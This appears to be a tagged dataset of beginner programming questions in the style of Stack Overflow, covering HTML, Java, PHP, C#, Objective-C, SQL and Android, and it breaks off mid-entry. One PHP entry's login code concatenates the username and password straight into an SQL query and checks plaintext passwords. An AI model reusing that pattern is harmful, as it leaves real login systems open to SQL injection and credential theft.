tables not styled properly  i m new to html and i m trying to create tables and style them but they are not styled as i d like: <a href= http://jsfiddle.net/dply5/  rel= nofollow >http://jsfiddle.net/dply5/</a>    <pre><code>        &lt;!doctype html&gt;     &lt;html&gt;     &lt;head&gt;         &lt;meta charset= utf-8 &gt;         &lt;title&gt;tabeller&lt;/title&gt;         &lt;style&gt;             body{                 padding-top: 20px;                 padding-left: 20px;             }         &lt;/style&gt;     &lt;/head&gt;     &lt;body&gt;          &lt;table style= border: 1px solid black; &gt;             &lt;tr&gt;                 &lt;td style= width: 700px; height:150px; border: 1px solid black; &gt;                     &lt;img src= http://placehold.it/700x150 &gt;                 &lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td style= width: 150px; height:700px; border: 1px solid black; background-color: #808080; &gt;adad&lt;/td&gt;                 &lt;td style= width: 400px; height:700px; border: 1px solid black; &gt;adad&lt;/td&gt;                 &lt;td style= width: 150px; height:700px; border: 1px solid black; background-color: #808080; &gt;adad&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td style= width: 700px; height:75px; border: 1px solid black; background-color: #808080; &gt;&lt;/td&gt;             &lt;/tr&gt;         &lt;/table&gt;      &lt;/body&gt;     &lt;/html&gt; </code></pre>   the middle row first column should be 150px wide but its bigger then that. i don t know what it could be. any help  thank you,html
i am getting java.text.parseexception  in the below code getting parsing error:please help.            <pre><code> dateformat converter = new simpledateformat( dd/mm/yyyy:hh:mm:ss );  converter.settimezone(timezone.gettimezone( gmt ));  simpledateformat formatter = new simpledateformat( e  mmm dd yyyy );  date date = formatter.parse(converter.format(new date())); </code></pre>,java
explain this php shorthand <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1080247/what-is-the-php-operator-called-and-what-does-it-do >what is the php   : operator called and what does it do </a>    </blockquote>     i feed like a goof but i don t entirely understand what s happening in this code:   <pre><code>$var .= ($one || $two)   function_one( $one  $another) : function_two( $two  $another); </code></pre>   does that say if $one or $two then $var is equal to fuction_one()  else function_two()  what s the purpose of using this syntax -- speed,php
open chrome and auto fill the form fields windows form c#  i want to open chrome and auto fill the form fields windows form c#.     automatically open a new google chrome web browser to a predefined url      automatically complete required fields with predefined data     i don t want to open web within form control webbrowser.     if i try the below code it s not working.    <pre><code>        system.windows.forms.webbrowser webbrowser = new webbrowser();     htmldocument document = null;     document=webbrowser.document;     system.diagnostics.process.start( http://www.google.co.in ); </code></pre>,c#
retrieving the position of relative element to window  what is the most accurate way of retrieving top position of relative positioned element to window     i know about <code>getboundingclientrect()</code> but this returned wrong numbers.    i have several elements ( relative positioned ) inside containers and need to retrieve elements offsettop to window top. the containers are both relative or absolute positioned. is there any method without iterating over parent elements and so on,javascript
using python2.7 from command line (linux)  my problem is when i try and run a python script from the command line as follows;   <pre><code>python_projects # python variable.py </code></pre>   it uses python version 3  i wish to change this to 2.7,python
c++ program isn t recognizing that {-1  0  1} is a group  so i have a function that looks at whether a given set and an operator forms a group. the definition of a group is as follows:   <pre><code>         a set  s is a group if and only if all the 4 following          conditions are true:          (1) if a  b in s  then a op b in s         (2) if a  b  c in s  then (a op b) op c = a op (b op c)         (3) there is an element 0 in s such that a op 0 = 0 for all a in s         (4) if a in s  then there is a b in s such that a op b = b op a = 0 </code></pre>   by this definition  the set <code>{-1  0  1}</code> with operator <code>*</code> should be a group with identity element <code>0</code>.     however  my implementation of a group-checking function isn t working. my code   <pre><code>template &lt;typename obtype  typename binaryfunction&gt; bool isgroup(const std::set&lt;obtype&gt; &amp; s  binaryfunction &amp; op  obtype iden) {     /*        isgroup returns true or false depending on whether the set s        along with the operator op is a group in the algebraic sense.        that is  s is a group if and only if all the 4 following        conditions are true:              (1) if a  b in s  then a op b in s             (2) if a  b  c in s  then (a op b) op c = a op (b op c)             (3) there is an element 0 in s such that a op 0 = 0 for all a in s             (4) if a in s  then there is a b in s such that a op b = b op a = 0     */     typename std::set&lt;obtype&gt;::const_iterator beg(s.cbegin())  offend(s.cend());     bool noproblemsyet(true)  foundidentity(false);     for (typename std::set&lt;obtype&gt;::const_iterator ia = beg; ia != offend &amp;&amp; noproblemsyet; ++ia)     {         bool isidentity = true;         for (typename std::set&lt;obtype&gt;::const_iterator ib = beg; ib != offend &amp;&amp; noproblemsyet; ++ib)         {             // ---------- (1) --------------             if (s.count(op(*ia  *ib)) == 0)                 noproblemsyet = false;             // ---------- (3) --------------             if (op(*ia  *ib) != op(*ib  *ia) || op(*ib  *ia) != *ib)                 isidentity = false;             // -----------------------------             for (typename std::set&lt;obtype&gt;::const_iterator ic = beg; ic != offend &amp;&amp; noproblemsyet; ++ic)             {                 // ---------- (2) -------------                 if (op(op(*ia  *ib)  *ic) != op(*ia  op(*ib  *ic)))                     noproblemsyet = false;                 // ----------------------------             }         }         if (isidentity)         {             foundidentity = true;             iden = *ia;         }     }      if (noproblemsyet)     {         if (!foundidentity)             noproblemsyet = false;         for (typename std::set&lt;obtype&gt;::const_iterator ia = beg; ia != offend &amp;&amp; noproblemsyet; ++ia)         {             bool foundinverse = false;             for (typename std::set&lt;obtype&gt;::const_iterator ib = beg; ib != offend &amp;&amp; noproblemsyet; ++ib)             {                 if (op(*ia  *ib) == op(*ib  *ia) &amp;&amp; op(*ia  *ib) == iden)                 {                     foundinverse = true;                     break;                 }             }             // ---------- (4) -------------             if (!foundinverse)                 noproblemsyet = false;             // ----------------------------         }     }      return noproblemsyet; }  template &lt;typename t&gt; class multiplier {     private:         static const char symbol =  * ;     public:         t operator() (const t &amp; x  const t &amp; y) const { return x * y; };         char getsymbol(void) const { return symbol; }; };  template &lt;typename t&gt; std::string set2str(const std::set&lt;t&gt; &amp; s) {     std::string retstr =  { ;     typename std::set&lt;t&gt;::const_iterator it(s.cbegin())  offend(s.cend());     if (it != offend)         retstr.append(std::to_string(*it++));     while (it != offend)         retstr.append(    + std::to_string(*it++));     retstr.push_back( } );     return retstr; }  int main() {     std::set&lt;int&gt; s = { 0  1  -1 };     multiplier&lt;int&gt; m;     int i;     std::cout &lt;&lt; set2str(s) &lt;&lt; std::endl;     std::cout &lt;&lt;  with operator   &lt;&lt; m.getsymbol() &lt;&lt; std::endl;     if (isgroup(s  m  i))         std::cout &lt;&lt;  is a group  with identity element   &lt;&lt; i;     else         std::cout &lt;&lt;  is not a group. ;         return 0; } </code></pre>   is  for some reason  outputting    <pre><code>{-1 0 1} is not a group. </code></pre>   any idea why this might be,c++
exception in thread  awt-eventqueue-0  java.lang.numberformatexception: for input string:  78 error in java  i have a signed msg with msg length appended:     <blockquote>    i agree all the terms and conditions that have been mentioned in the   contract.   3aacbcb0c8fa6a23c72acbecde626ac7cd09c9b514cb47e8263150608e915ec2f64f7a13aa7bfefc49ff2fde74c0e1f34b33aa964bd03858d67966199a19d4da5a57566812694ac1b79835ec8a1893dd5cea709f5b59cb966c6d068837406ab16c762494bd4c9bc0a66e23b5219932fb2dfc82a62d392c0f3c23c793855aaf6c0078  </blockquote>   here 78 is the length of message only. i need to extract the message from the signed message by the help of the message length. i used following code in java(netbeans):   <pre><code>int msglen = integer.parseint(msg.substring(msg.length() - 4)); system.out.println( message length:  +msglen); </code></pre>   but i am getting error like this:     <blockquote>    exception in thread  awt-eventqueue-0  java.lang.numberformatexception: for input string:  78   </blockquote>   if anybody could help me to solve the problem please post ur answer as soon as possible.....,java
to create a a condition keep prompting user to reinput answer to a query  i want to create a condition that keeps letting user to provide the input to a questions until a non duplicate answer is give. i have updated the code but then it doesn t work  therefore i am looking for help. the code is as below:    my original code:   <pre><code>choice=int(input( enter your move (1-9): .strip()))-1 if board[choice] ==   :     board[choice] = icon else:     print()     print( that space is taken! ) </code></pre>   the problem of the code is this does not give the user the chance to re input the answer again if duplicate chocie was entered. i changed the code into below:    updated code   <pre><code>def check_duplicate():     while board[choice] !=   :         print ( duplicate input )         choice=int(input( enter your move (1-9): .strip()))-1         board[choice] </code></pre>   i used check_duplicate to replace the old code above. it does not work. can somebody please point out what error i have committed  thanks.,python
java - why am i getting this variety of errors  <pre><code>import java.util.*;  public class enrollment { static string sname; static int sage; static int sid; static string saddress; static string sgender;  enrollment(string sname  int sage  int sid  string saddress  string sgender){     this.sname=sname;     this.sage=sage;     this.sid=sid;     this.saddress=saddress;     this.sgender=sgender; }  public string getsname() {     return sname; }  public int getsage() {     return sage; }  public int getsid() {     return sid; }  public string getsaddress() {     return saddress; }  public string getgender() {     return sgender; }  public static void main(string[] args) {     linkedlist&lt;enrollment&gt; studentdata = new linkedlist&lt;enrollment&gt;();     scanner input = new scanner(system.in);      system.out.println( enter student name );     sname = input.nextline();     studentdata.add(sname);      system.out.println( enter student age );     sage = input.nextint();     studentdata.add(sage);      system.out.println( enter student id );     sid = input.nextint();     studentdata.add(sid);      system.out.println( enter student address );     saddress = input.nextline();     studentdata.add(saddress);      system.out.println( enter student gender );     sgender = input.nextline();     studentdata.add(sgender);      system.out.println(studentdata);      } } </code></pre>   i am trying to make an enrollment program for a school project that takes a persons name  age  id number  address and gender and then print it all out after the user inputs all the information that is asked. i don t understand what i am doing wrong. i feel like i have done everything correctly. i m not sure on what i can do to fix these errors. what is causing these errors and how can i fix them     errors given are   <pre><code>the method add(enrollment) in the type linkedlist&lt;enrollment&gt; is not applicable for the arguments (string) the method add(int  enrollment) in the type linkedlist&lt;enrollment&gt; is not applicable for the arguments (int) the method add(int  enrollment) in the type linkedlist&lt;enrollment&gt; is not applicable for the arguments (int) the method add(enrollment) in the type linkedlist&lt;enrollment&gt; is not applicable for the arguments (string) the method add(enrollment) in the type linkedlist&lt;enrollment&gt; is not applicable for the arguments (string)  at enrollment.main(enrollment.java:44) </code></pre>,java
how does a run loop work   out a curiosity  how does a run loop work  the <a href= https://developer.apple.com/library/content/documentation/cocoa/conceptual/multithreading/runloopmanagement/runloopmanagement.html  rel= nofollow noreferrer >official docs</a> say    <blockquote>    the purpose of a run loop is to keep your thread busy when there is work to do and put your thread to sleep when there is none.  </blockquote>   how is this implemented efficiently  is the run loop actually a loop that is constantly running  ie. <code>while(true)</code>,ios
responsive fa-icon inside of input  here is some code from a treehouse-author showing how to place an icon inside of a input.    html:   <pre><code>&lt;div class= search &gt;   &lt;span class= fa fa-search &gt;&lt;/span&gt;   &lt;input placeholder= search term &gt; &lt;/div&gt; </code></pre>   css:   <pre><code>@import url( //maxcdn.bootstrapcdn.com/font-awesome/4.1.0/css/font-awesome.min.css ); body {   margin: 30px; }  .search {   position: relative;   color: #aaa;   font-size: 16px; }  .search input {   width: 250px;   height: 32px;   background: #fcfcfc;   border: 1px solid #aaa;   border-radius: 5px;   box-shadow: 0 0 3px #ccc  0 10px 15px #ebebeb inset; }  .search input {   text-indent: 32px; }  .search .fa-search {   position: absolute;   top: 10px;   left: 10px; } </code></pre>   and the pen that proves it: <a href= http://codepen.io/jamesbarnett/pen/abnbl#0  rel= nofollow >http://codepen.io/jamesbarnett/pen/abnbl#0</a>    how can you put the icon at the end of the input and have it be responsive to a changing of the screen     i tried using a percetage positioning the icon but it did not work at all. here is a fiddle with my attempt:    <a href= http://jsfiddle.net/x7j869g7/2/  rel= nofollow >http://jsfiddle.net/x7j869g7/2/</a>,css
subviews frame when oreiantion changes  in my app i am having many viewcontrollers.most of them have tableviews as subview.many cells of the tableview have label and textfield as subview.when from potrait mode to landscape mode i change tableview gets resized (i.e width and height of tableview gets adjusted to that of screen).but my labels and textfield width wont get changed.also actionsheets.if i print width and height in landscape it is(320.0 460.0).so how to adjust the size of my subviews when there is change in orientation,iphone
nscfconstantstring text]: unrecognized selector sent to instance <blockquote>    nscfconstantstring text]: unrecognized selector sent to instance  </blockquote>  <pre><code>nsmanagedobjectcontext *context = [self managedobjectcontext];  if (self.device) {     // update existing device     [self.device setvalue:self.nametextfield.text forkey:@ name ];     [self.device setvalue:self.versiontextfield.text forkey:@ version ];     [self.device setvalue:self.companytextfield.text forkey:@ company ];     nslog(@ if ); } else {     // create a new device     nsmanagedobject *newdevice = [nsentitydescription insertnewobjectforentityforname:@ device  inmanagedobjectcontext:context];     [newdevice setvalue:self.nametextfield.text forkey:@ name ];     [newdevice setvalue:self.versiontextfield.text forkey:@ version ];     [newdevice setvalue:self.companytextfield.text forkey:@ company ];     nslog(@ else ); }  nserror *error = nil; // save the object to persistent store if (![context save:&amp;error]) {     nslog(@ can t save! %@ %@   error  [error localizeddescription]); } </code></pre>,objective-c
error: expected specifier-qualifier-list before xxx    i m trying to  implement  a cross-platform mutex following the instructions <a href= http://www.codeproject.com/kb/cross-platform/crossplatformmutex.aspx  rel= nofollow >here</a>:    and here is my code:     <pre class= lang-c prettyprint-override ><code>#ifndef __simpleav_core_util_samutex_h_defined__ #define __simpleav_core_util_samutex_h_defined__  /*  * a simple cross-platform (currently only on linux and win) mutex.  *  * usage:  * samutex mutex;  * samutex_init(&amp;mutex);  * samutex_lock(&amp;mutex);  * samutex_unlock(&amp;mutex);  * samutex_destroy(&amp;mutex);  *  * all functions return 0 on success  -1 on error. */  #if defined(linux)      #include &lt;pthread.h&gt;      //typedef pthread_mutex_t samutex;      #define samutex pthread_mutex_t #elif defined(windows)      #include &lt;windows.h&gt;      #include &lt;process.h&gt;      //typedef handle samutex;      #define samutex handle #endif  int samutex_init(samutex *); int samutex_lock(samutex *); int samutex_unlock(samutex *); int samutex_destroy(samutex *);  #endif </code></pre>   but what i got after running gcc was:   <pre><code>~/git/simpleav/build $ make [ 20%] building c object cmakefiles/player2.dir/player2.c.o in file included from /home/wecing/git/simpleav/include/simpleav/core/core.h:4                   from /home/wecing/git/simpleav/include/simpleav/sdl/api.h:5                   from /home/wecing/git/simpleav/player2.c:4: /home/wecing/git/simpleav/include/simpleav/core/util/samutex.h:28: error: expected ‘)’ before ‘*’ token /home/wecing/git/simpleav/include/simpleav/core/util/samutex.h:29: error: expected ‘)’ before ‘*’ token /home/wecing/git/simpleav/include/simpleav/core/util/samutex.h:30: error: expected ‘)’ before ‘*’ token /home/wecing/git/simpleav/include/simpleav/core/util/samutex.h:31: error: expected ‘)’ before ‘*’ token in file included from /home/wecing/git/simpleav/include/simpleav/sdl/api.h:5                   from /home/wecing/git/simpleav/player2.c:4: /home/wecing/git/simpleav/include/simpleav/core/core.h:28: error: expected specifier-qualifier-list before ‘samutex’ make[2]: *** [cmakefiles/player2.dir/player2.c.o] error 1 make[1]: *** [cmakefiles/player2.dir/all] error 2 make: *** [all] error 2 </code></pre>   by the way  on linux  pthread_mutex_t is defined as:     <pre class= lang-c prettyprint-override ><code>typedef union {   struct __pthread_mutex_s   {     int __lock;     unsigned int __count;     int __owner; #if __wordsize == 64     unsigned int __nusers; #endif     /* kind must stay at this position in the structure to maintain        binary compatibility.  */     int __kind; #if __wordsize == 64     int __spins;     __pthread_list_t __list; # define __pthread_mutex_have_prev  1 #else     unsigned int __nusers;     __extension__ union     {       int __spins;       __pthread_slist_t __list;     }; #endif   } __data;   char __size[__sizeof_pthread_mutex_t];   long int __align; } pthread_mutex_t; </code></pre>   what did i do wrong,c
stopping execution in a method to call another method then continue  in objective-c what is the best way to handle this situation. in all my calls to a remote api  i need to be sure i have token first. i would rather not check for the token before each call if possible.   <pre><code>do not want to do this for every api call! #if (token) {     makegetfortweetsrequestthatrequirestoken  } </code></pre>   if i need a token  maybe it expired  that call might take some time to return so i need to wait for it to return  before the next api call is made. is it possible to do the following    <pre><code>[thing makegetfortweetsrequestthatrequirestoken];   -(void)makegetfortweetsrequestthatrequirestoken {       if(nil == token) {           // make another api call to get a token and save it          // stop execution of the rest of this method until the          // above api call is returned.        }         //do the makegetfortweetsrequestthatrequirestoken stuff } </code></pre>,objective-c
error 1248 (42000): every derived table must have its own alias  how come i keep the error 1248 (42000): every derived table must have its own alias  i ve given each table it s own alias haven t i  sorry i m not too sure what i m doing wrong here since i m in my first semester for mysql.   <pre><code>select p.playeralias as  player           s.hiscore as  score     from player as p inner join score as s on p.playerid = s.playerid         left outer join (            select g.gameid               from game as g              where g.gamename =  reaper         ) on s.gameid = g.gameid   where s.hiscore &lt; 7000 and s.hiscore &gt; 4000; </code></pre>,mysql
html: href#id go to next page huge gap between from header#top to div#id  i want to go href#id to next page div section.    <strong>html</strong>   <pre><code>&lt;a href= about.html#divid &gt;click one&lt;/a&gt; &lt;a href= about.html#divid1 &gt;click two&lt;/a&gt; &lt;a href= about.html#divid2 &gt;click three&lt;/a&gt; &lt;a href= about.html#divid3 &gt;click four&lt;/a&gt; </code></pre>   i have created on <strong>about.html</strong> page accordion. i used accordion on entire page. here is screen shot of accordion <a href= https://i.stack.imgur.com/c2si5.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/c2si5.png  alt= enter image description here ></a>    i want to go next page and accordion open according to url#id so i used for it   <pre><code>if (window.location.href.indexof( #divid ) &gt; -1) { $( #tab-two ).click(); </code></pre>   }    <strong>first div#id click then its goes to div section but then i clicked to div#id2 its goes to div#id2 section but few distance between top and divid2 section. this distance goes huge if i clicked in div#id4 i dont know how to fix it i did not used too margin or padding on that page</strong>    here is the view <a href= https://i.stack.imgur.com/ouijz.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ouijz.jpg  alt= enter image description here ></a>,html
where can i use  name  attribute (in html)   i did some code with jquery that take the name attribute <b>!!! of a div !!!</b> and use it in some way.    if in one hand i tryed this code in every browser i have (firefox  chrome  ie 9/8/7  safari  opera  android... all with last update) and it work perfectly  in the other hand i see that - searching with google -  name  is considered only into <i>form</i>  <i>input</i>  <i>textarea</i>  <i>a</i> and other similar.    can i really use it in the way i did  in every html tag i want  or i ll burn forever in the hell     thank you in advance   <hr>   seen your answers  i decided to store datas in other way (like adding class and retrieve their name even with jquery).,html
how to make this simple iphone app: just launch mail  i want to do a really simple iphone app: when i start the app it will launch the mail app. i found this:     <pre><code>[[uiapplication sharedapplication] openurl:[nsurl urlwithstring:@ mailto://foo@bar.com ]]; </code></pre>   but:<br> - what kind of projet in xcode i have to create (view based application  windows based application)  <br> - then where do i have to put the line of code     i tried few things  but nothing worked...    sorry for my stupid question...<br> thanks a lot in advance!,iphone
can cross join be substituted with analytical query  is cross join ultimately necessary in reporting   i am a new business analyst and am reviewing somebody else s sql written for dashboard reporting. this includes some data that is researched and verified and if there it does not meet standards then it is entered in a bug s database. these are huge tables in terabytes and over millions of rows. the query that i am looking at runs very slow. this query is created to run on the data  then create a view or materialized table and create a dashboard. i confused as to why the only cross joins  in combination with inner join can resolve this. can cross join be substituted with the analytical query  is cross join ultimately necessary in reporting,sql
php sessions disappearing  i come from a classic asp programming background and boy php is really frustrating. what s the deal with php sessions  in classic asp you simply put:   <pre><code>&lt;% session( name ) =  xyz  %&gt; </code></pre>   and that session is always available unless you kill it or it times out. with php i get a session to work from one page to another but when i refresh the page i lose my session. here is the code i have:    page: modules.php   <pre><code>// start the session session_start(); </code></pre>   page: index.php   <pre><code>include  modules/modules.php ;  $_session[ username ] =  myname ;  if (isset($_session[ username ]) &amp;&amp; !empty($_session[ username ]) {     header( location: main.php ); } </code></pre>   page: main.php   <pre><code>include  modules/modules.php ;  echo  my username:  .$_session[ username ]; exit(); </code></pre>   now because i gave session username a default value it will redirect to main.php and it shows the username fine. but if i refresh the page it disappears. i ran this to see if there was any errors in the modules.php page right below the start session:   <pre><code>ini_set( display_errors  1); ini_set( display_startup_errors  1); error_reporting(-1); </code></pre>   none were returned. but i can t figure out why my php sessions just disappear. i am trying to create a login page where the user will login and his/hers info will be carried along each page so i can have there id info and to make sure they are logged in. so could someone please tell me what i am doing wrong     my modules page:   <pre><code> // start the session  session_start();   /* database connection settings */  $_session[ servername ]    =  localhost ;  $_session[ mysql_username ] =  xxxxxxx ;  $_session[ mysql_password ] =  xxxxxxx ;  $_session[ dbname ]            =  mydb ;   //turn on error report. true = on / false = off  errorreporting(true);   //display error.  function errorreporting($erron){    if ($erron == true) {        //show error        ini_set( display_errors  1);        ini_set( display_startup_errors  1);        error_reporting(-1);    }  }    function db_conn($servername  $mysql_username  $mysql_password  $dbname) {  $conn = mysqli_connect($servername  $username  $password  $dbname);  // check connection if ($conn-&gt;connect_error) {     die( connection failed:   . $conn-&gt;connect_error);  // test if connection succeeded if(mysqli_connect_errno()) {     die( database connection failed:   .           mysqli_connect_error() .             (  . mysqli_connect_errno() .  )      );    }  }    /**************************************   close database connection function.  ***************************************/  function db_disconn() {      $conn = null;  }   /***************************************  employee login check:  ****************************************/  function checklogin($strusername  $strpassword) {   if (isset($strusername) &amp;&amp; !empty($strusername) &amp;&amp; isset($strpassword) &amp;&amp;      !empty($strpassword)) {       $conn = new mysqli($_session[ servername ]        $_session[ mysql_username ]  $_session[ mysql_password ]  $_session[ dbname ]);   // check connection   if ($conn-&gt;connect_error) {       die( connection failed:   . $conn-&gt;connect_error);   }                $sql =  select id  firstname  lastname  user_name  password from tbl_employees where user_name= $strusername  and password= $strpassword  and account_disabled=  ; ;          $result = $conn-&gt;query($sql);       //check and see if there are records avaiable.      if ($result-&gt;num_rows &gt; 0) {          // output data of each row with a loop.         while($row = $result-&gt;fetch_assoc()) {              //store the info into a session variable.             $_session[ eid ]        = $row[ id ];             $_session[ firstname ]  = $row[ firstname ];             $_session[ lastname ]   = $row[ lastname ];              return $_session[ eid ];             //break; //stop the loop process.         }     } else {             //no records found prompt the user.             return  user name or password was incorrect! please try again! ;     }     db_disconn(); /*close db*/ } </code></pre>   },php
getting all possible keypaths in a dictionary  what is the best / most elegant way to get all possible keypaths in a nested <code>nsdictionary</code> structure     the structure is not recursive  so dictionary a is not contain a reference to itself  either directly or indirectly.   <pre><code>@{ @ root1  : @{ @ level1_a  : @ somevalue                   @ level1_b  : @ someothervalue }     @ root2  : @{ @ level2_a  : @ somevalue                   @ level2_b  : @ someothervalue }   } </code></pre>   should give <code>@[@ root1.level1_a   @ root1.level1_b   @ root2.level2_a   @ root2.level2_b ]</code>,objective-c
horizontally center align block element  i think lots of people like me keep doing it like this:   <pre><code>html {     text-align: center; }  body {     margin: 0 auto;     width: 80%;     text-align: left; } </code></pre>   <a href= http://jsfiddle.net/ofpy7mgz/  rel= nofollow >http://jsfiddle.net/ofpy7mgz/</a>    i don t even remember why we add <code>text-align: center;</code> to the parent element  must be for browser compatibility  well  is it safe to simply drop that now days     <strong>edit</strong>: the goal is just for center aligning <code>&lt;body&gt;</code> element  not for any text alignment etc.,css
verify if app is mine on server side  i m writing a ringtone gallery app which ringtones reside on a server and they can be downloaded by user.    what i want is to check and verify if the connection is really from my app not other apps or a http request generator. for example i don t like someone write an app that uses my back end and show his ads in the app. it s like image leaching in web site which is prevented by checking the referrer.    it s not possible to insert a key in the app as android apps can be decompiled so easily. i thought of gaining the app signature and send it s hash as a key  but it s like any app can access other apps signature hash.    what about writing part of app which do the communication in native code  is it decompilable as easy as java code     i really can t think of any other way and i don t like others use my resources for their benefit.,android
how to apply hover effect to show and hide buttons on each div  <pre><code>$(document).ready(function () {        $( #divheader )) {         $(this).hover(function () {             $(this).find( #edit ).show();             $(this).find( #spandate ).removeclass( datetime );             $(this).find( #spandate ).addclass( edit );         }          function () {             $(this).find( #edit ).hide();             $(this).find( #spandate ).addclass( datetime );             $(this).find( #spandate ).removeclass( edit );         }); }); </code></pre>   in my page i have 3 div with same name ( divheader )   but it apply only first div  and skip for other two.    please tell me how to apply on all  using id,jquery
how is polymorphism and abstract class implemented/used in the .net framework or asp.net  i am not able to understand the usage of polymorphism and abstract classes in the .net framework or asp.net. i know what polymorphism means after reading various articles on the internet  however  they are generic (or it may seem to me). but i am not able to co-relate that to something concrete in .net. for eg  why is a particular class in the .net framework marked as abstract. if someone can explain that  i would be in a better position to understand its need. likewise for polymorphism.    i hope i am clear in what i am asking and would love to get some really good explanation.    thank you,.net
errata on  learn objective-c on the mac  book or bad memory understanding   in the book  learn objective-c on the mac  you can find the following code which i think is an errata:   <hr>    here s another attempt at writing setengine:   <pre><code>- (void) setengine: (engine *) newengine   {         [engine release];         engine = [newengine retain];   } </code></pre>   ... ponder this case:   <pre><code>engine *engine = [engine new]; // count: 1   car *car1 = [car new];   car *car2 = [car new];   [car1 setengine: engine]; // count: 2  [engine release]; // count 1   [car2 setengine: [car1 engine]]; //ops... </code></pre>   why is this a problem  here s what s happening. [car engine] returns a pointer to engine which has a retain count of 1. the first line of setengine is [engine release]  which makes the retain count 0  an the object gets deallocated....    <hr>   however  after reading this paragraph on page 166. i wonder what the internal engine reference in car2 has to do with engine in car1. they are two different references and by te time  [car2 setengine: [car1 engine]]  is invoke  the engine in car2 hasn t been initialized and keeps no relation to the retained engine the author talks about. so  [engine release]  won t decrease te counter to 0 of car1 engine. see my point  is it an errata or am i terrible wrong     ((i would like to discuss this particular code  not the right way of implementing a setter)),objective-c
c# list.orderby not working at all   i have a hard time understanding how the <code>list.orderby</code> works and i don t understand what i m doing wrong... i think it s something easy that i made some stupid mistake somewhere or that it s just working in another way than i understood. anyways  what i want to do is sort a list from an attribute  i ve made a simple program to illustrate what i mean.    <pre><code>class hero     {         public int level;         public hero(int level)         {             this.level = level;         }          static void main(string[] args)         {             hero hero1 = new hero(1);             hero hero3 = new hero(3);             hero hero2 = new hero(2);              list&lt;hero&gt; list = new list&lt;hero&gt;();             list.add(hero1);             list.add(hero3);             list.add(hero2);             list.orderby(x =&gt; x.level).tolist();             foreach (hero x in list)             {                 console.writeline(x.level);             }         }     } </code></pre>   this gives the output:   <pre><code>1 3 2  </code></pre>   while i would like the output:   <pre><code>1 2 3 </code></pre>   can anybody explain to me why it s not doing this and how i can fix it  i m quite new with c#.,c#
set size of a togglebutton dynamicly  first of all sorry for my bad english :) i m new on programming for android... i m trying to setup a view on runtime. i ve created my own view class ( derived from absoluteview ) successfully  but if i try to resize the content of the view  nothing happens :(    here is the full code i have wrote :   <pre><code>package com.caliskandevelopment.lottogenerator;  import android.content.context; import android.util.attributeset; import android.widget.absolutelayout; import android.widget.togglebutton;  @suppresswarnings( deprecation ) public class cselectnumberslayout extends absolutelayout  { private togglebutton    m_clbutton;  public cselectnumberslayout( context    clcontext ) {     super( clcontext );     createbuttons(); }  public cselectnumberslayout( context        clcontext                               attributeset   clattributeset ) {     super( clcontext  clattributeset );     createbuttons(); }  public cselectnumberslayout( context        clcontext                               attributeset   clattributeset                               int            i32defstyle ) {     super( clcontext  clattributeset  i32defstyle );     createbuttons(); }  private void createbuttons() {     layoutparams    cllayoutparams = (layoutparams) generatedefaultlayoutparams();     int             i32buttonwidth = 10;     int             i32buttonheight = 10;     int             i32posx = 0;     int             i32posy = 0;      cllayoutparams.x = i32posx;     cllayoutparams.y = i32posy;     cllayoutparams.width = i32buttonwidth;     cllayoutparams.height = i32buttonheight;      m_clbutton = new togglebutton( getcontext() );     m_clbutton.settext(  settext  );     m_clbutton.settexton(  settexton  );     m_clbutton.settextoff(  settextoff  );     m_clbutton.setlayoutparams( cllayoutparams );      this.addview( m_clbutton ); }  protected void onsizechanged( int   i32width                                int   i32height                                int   i32oldwidth                                int   i32oldheight ) {     int i;     int i32buttonwidth = ( i32width / 7 );     int i32buttonheight = ( i32height / 7 );     int i32posx;     int i32posy;      if ( i32buttonwidth &gt; i32buttonheight )         i32buttonwidth = i32buttonheight;     else if ( i32buttonheight &gt; i32buttonwidth )         i32buttonheight = i32buttonwidth;      i32posx = ( i32width / 2 ) - ( ( i32buttonwidth * 7 ) / 2 );     i32posy = ( i32height / 2 ) - ( ( i32buttonheight * 7 ) / 2 );      layoutparams    cllayoutparams = (layoutparams) m_clbutton.getlayoutparams();      cllayoutparams.x = i32posx;     cllayoutparams.y = i32posy;     cllayoutparams.width = i32buttonwidth;     cllayoutparams.height = i32buttonheight;      m_clbutton.setlayoutparams( cllayoutparams );     m_clbutton.invalidate();      this.invalidate(); } } </code></pre>   i m trying to resize the created buttons in function onsizechanged  because i have readed that this is the first time where i know how big is my view. calling things like   <pre><code>m_clbutton.invalidate(); m_clbutton.postinvalidate(); this.invalidate(); </code></pre>   does not have the desired result. the view is inside a tab. if i click on the tab first time to show this layout the buttons are 10 x 10 ( as i created in the constructor )  i have debugged the code  it runs over onsizechanged but the buttons are not resized. if i show another view and click at this tab again the buttons are resized.    i think the problem is to refresh the view in function onsizechanged()  but how to do this        thanks in advance...    hasan caliskan,android
where i get performance tool  leak  in xcode 4.2   now i switched ios developing from xcode 3.2.5 to xcode 4.2. in xcode 3.2.5 i found the memory leak by using the  leak  (performance tool) from run -> run with performance tool -> leak. but  in xcode 4.2 i cant find the performance tool  leak . how can i find the memory leak from xcode 4.2  please help me. thanks in advance.,objective-c
how to calculate users response rate and time  i have been trying to brainstorm on how i can calculate a users response rate (% of responses to messages received) and time (how fast does user responds to messages). this information would show on a users profile. i can t think of a formula that would work for this and haven t seen any other posting regarding it.    for example user a response rate is 85% and their response time is 3 days. what would be the proper way to attack this      messages model:   <pre><code>    attr_accessible :subject  :body  :sender_id  :recipient_id  :read_at :sender_deleted :recipient_deleted     validates_presence_of :subject  :message =&gt;  please enter message title      has_many :notifications  as: :event   scope :unread  -&gt; {where( read_at is null )}      belongs_to :sender      :class_name =&gt;  user       :foreign_key =&gt;  sender_id      belongs_to :recipient      :class_name =&gt;  user       :foreign_key =&gt;  recipient_id        # based on if a message has been read by it s recipient returns true or false.     def read          self.read_at.nil    false : true     end       def self.received_by(user)        where(:recipient_id =&gt; user.id)      end        def self.not_recipient_deleted        where( recipient_deleted =     false)      end       def self.sent_by(user)         message.where(:sender_id =&gt; user.id)       end </code></pre>   controller:   <pre><code>  before_filter :set_user    def index     @messages = message.scoped     @message = message.new     if params[:mailbox] ==  sent        @messages = @user.sent_messages.paginate :per_page =&gt; 10  :page =&gt; params[:page]  :order =&gt;  created_at desc      elsif params[:mailbox] ==  inbox        @messages = @user.received_messages.paginate :per_page =&gt; 10  :page =&gt; 